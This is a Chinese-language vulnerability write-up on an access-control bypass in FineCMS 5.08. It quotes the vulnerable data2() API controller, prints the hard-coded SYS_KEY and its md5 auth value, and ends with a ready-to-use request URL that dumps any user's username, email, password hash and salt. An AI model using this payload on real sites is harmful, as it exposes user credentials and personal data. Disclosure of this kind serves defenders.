FineCMS 前台任意用户所有信息泄露

漏洞简介

Finecms 最新版5.08存在权限绕过漏洞,可查看任意用户的相关信息,包括用户名,邮箱,密码,盐值等重要信息。

漏洞分析

问题主要出在finecms/dayrui/controllers/Api.phpdata2()函数中,这个函数的功能是调用自定义的数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
public function data2() {
$data = array();

// 安全码认证
$auth = $this->input->get('auth', true);
if ($auth != md5(SYS_KEY)) {
// 授权认证码不正确
$data = array('msg' => '授权认证码不正确', 'code' => 0);
} else {
// 解析数据
$cache = '';
$param = $this->input->get('param');
if (isset($param['cache']) && $param['cache']) {
$cache = md5(dr_array2string($param));
$data = $this->get_cache_data($cache);
}
if (!$data) {

if ($param == 'login') {
// 登录认证
$code = $this->member_model->login(
$this->input->get('username'),
$this->input->get('password'),
0, 1);
if (is_array($code)) {
$data = array(
'msg' => 'ok',
'code' => 1,
'return' => $this->member_model->get_member($code['uid'])
);
} elseif ($code == -1) {
$data = array('msg' => fc_lang('会员不存在'), 'code' => 0);
} elseif ($code == -2) {
$data = array('msg' => fc_lang('密码不正确'), 'code' => 0);
} elseif ($code == -3) {
$data = array('msg' => fc_lang('Ucenter注册失败'), 'code' => 0);
} elseif ($code == -4) {
$data = array('msg' => fc_lang('Ucenter:会员名称不合法'), 'code' => 0);
}
} elseif ($param == 'update_avatar') {
// 更新头像
$uid = (int)$_REQUEST['uid'];
$file = $_REQUEST['file'];
//
// 创建图片存储文件夹
$dir = SYS_UPLOAD_PATH.'/member/'.$uid.'/';
@dr_dir_delete($dir);
if (!is_dir($dir)) {
dr_mkdirs($dir);
}
$file = str_replace(' ', '+', $file);
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
$new_file = $dir.'0x0.'.$result[2];
if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
$data = array(
'msg' => '目录权限不足或磁盘已满',
'code' => 0
);
} else {
$this->load->library('image_lib');
$config['create_thumb'] = TRUE;
$config['thumb_marker'] = '';
$config['maintain_ratio'] = FALSE;
$config['source_image'] = $new_file;
foreach (array(30, 45, 90, 180) as $a) {
$config['width'] = $config['height'] = $a;
$config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
$this->image_lib->initialize($config);
if (!$this->image_lib->resize()) {
$data = array(
'msg' => $this->image_lib->display_errors(),
'code' => 0
);
break;
}
}
list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);
if (!$type) {
$data = array(
'msg' => '错误的文件格式,请传输图片的字符',
'code' => 0
);
}
}
} else {
$data = array(
'msg' => '图片字符串不规范,请使用base64格式',
'code' => 0
);
}

// 更新头像
if (!isset($data['code'])){
$data = array(
'code' => 1,
'msg' => '更新成功'
);
$this->db->where('uid', $uid)->update('member', array('avatar' => $uid));
}
} elseif ($param == 'function') {
// 执行函数
$name = $this->input->get('name', true);
if (strpos($name, 'dr_') !== 0) {
$data = array('msg' => '函数名必须以dr_开头的自定义函数', 'code' => 0);
} elseif (function_exists($name)) {
$_param = array();
$_getall = $this->input->get(null, true);
if ($_getall) {
for ($i=1; $i<=10; $i++) {
if (isset($_getall['p'.$i])) {
$_param[] = $_getall['p'.$i];
} else {
break;
}
}
}
$data = array('msg' => '', 'code' => 1, 'result' => call_user_func_array($name, $_param));
} else {
$data = array('msg' => '函数 (dr_'.$name.')不存在', 'code' => 0);
}
} elseif ($param == 'get_file') {
// 获取文件地址
$info = get_attachment((int)$this->input->get('id'));
if (!$info) {
$data = array('msg' => fc_lang('附件不存在或者已经被删除'), 'code' => 0, 'url' => '');
} else {
$data = array('msg' => '', 'code' => 1, 'url' => dr_get_file($info['attachment']));
}
} else {
// list数据查询
$data = $this->template->list_tag($param);
$data['code'] = $data['error'] ? 0 : 1;
unset($data['sql'], $data['pages']);
}

// 缓存数据
$cache && $this->set_cache_data($cache, $data, $param['cache']);
}
}

// 接收参数
$format = $this->input->get('format');
$function = $this->input->get('function');
if ($function) {
if (!function_exists($function)) {
$data = array('msg' => fc_lang('自定义函数'.$function.'不存在'), 'code' => 0);
} else {
$data = $function($data);
}
}
// 页面输出
if ($format == 'php') {
print_r($data);
} elseif ($format == 'jsonp') {
// 自定义返回名称
echo $this->input->get('callback', TRUE).'('.$this->callback_json($data).')';
} else {
// 自定义返回名称
echo $this->callback_json($data);
}
exit;
}

首先看下前面的安全码认证

1
2
$auth = $this->input->get('auth', true);
if ($auth != md5(SYS_KEY))

看了一下,SYS_KEY是固定的,这就有意思了,说明这个安全认证我们是可以直接绕过的,
SYS_KEY的值在config/system.php中定义了,是24b16fede9a67c9251d3e7c7161c83ac,这里我们简单的md5一次就可以绕过了。

绕过了认证函数在往下看,下面是根据param的值来进行不同的操作,这里出现问题的地方是function这个点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
} elseif ($param == 'function') {
// 执行函数
$name = $this->input->get('name', true);
if (strpos($name, 'dr_') !== 0) {
$data = array('msg' => '函数名必须以dr_开头的自定义函数', 'code' => 0);
} elseif (function_exists($name)) {
$_param = array();
$_getall = $this->input->get(null, true);
if ($_getall) {
for ($i=1; $i<=10; $i++) {
if (isset($_getall['p'.$i])) {
$_param[] = $_getall['p'.$i];
} else {
break;
}
}
}
$data = array('msg' => '', 'code' => 1, 'result' => call_user_func_array($name, $_param));

可以看到这里调用了call_user_func_array这个方法,这个方法可以调用用户自定义的方法,最致命的是,name_param的值是可控的。name的值就是我们要调用的函数名,这里finecms做了个限制,必须是以dr_开头的自定义函数才行,也就是这里造成了困扰,不然直接传个eval岂不是美滋滋。然后翻了一下一些函数,在functon_helper.php中有这么一个函数

1
2
3
4
5
6
7
8
9
10
function dr_member_info(uid, cache = -1) {
$ci = &get_instance();
$data = $ci->get_cache_data('member-info-'.$uid);
if (!$data) {
$data = $ci->member_model->get_member($uid);
$ci->set_cache_data('member-info-'.$uid, $data, $cache > 0 ? $cache : SYS_CACHE_MEMBER);
}

return $data;
}

这个函数会返回用户存在数据库中的所有信息。好了,函数有了,参数怎么传进来呢?

上面的函数被判断通过之后,就开始获取参数了。$_getall是获取了所有的参数,但是下面还是进行了判断,要以p加数字这种形式的参数才可以传递进来,所以这里也是可以绕过的。好了,函数有了,参数有了,开始构造payload

首先是auth,就是SYS_KEY简单的md5值加密了一下。Auth=50ce0d2401ce4802751739552c8e4467
然后是param,要进入到function中,param=function
之后是name,也就是函数名,这里我们调用dr_member_info, name=dr_member_info
最后是函数的参数,这里我们查询uid为1的用户数据,设置p1=1即可。
最终的payload为

1
http://localhost/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467&param=function&name=dr_member_info&p1=1

查看uid=3的用户

至此,我们已经可以查看任意用户的所有数据了。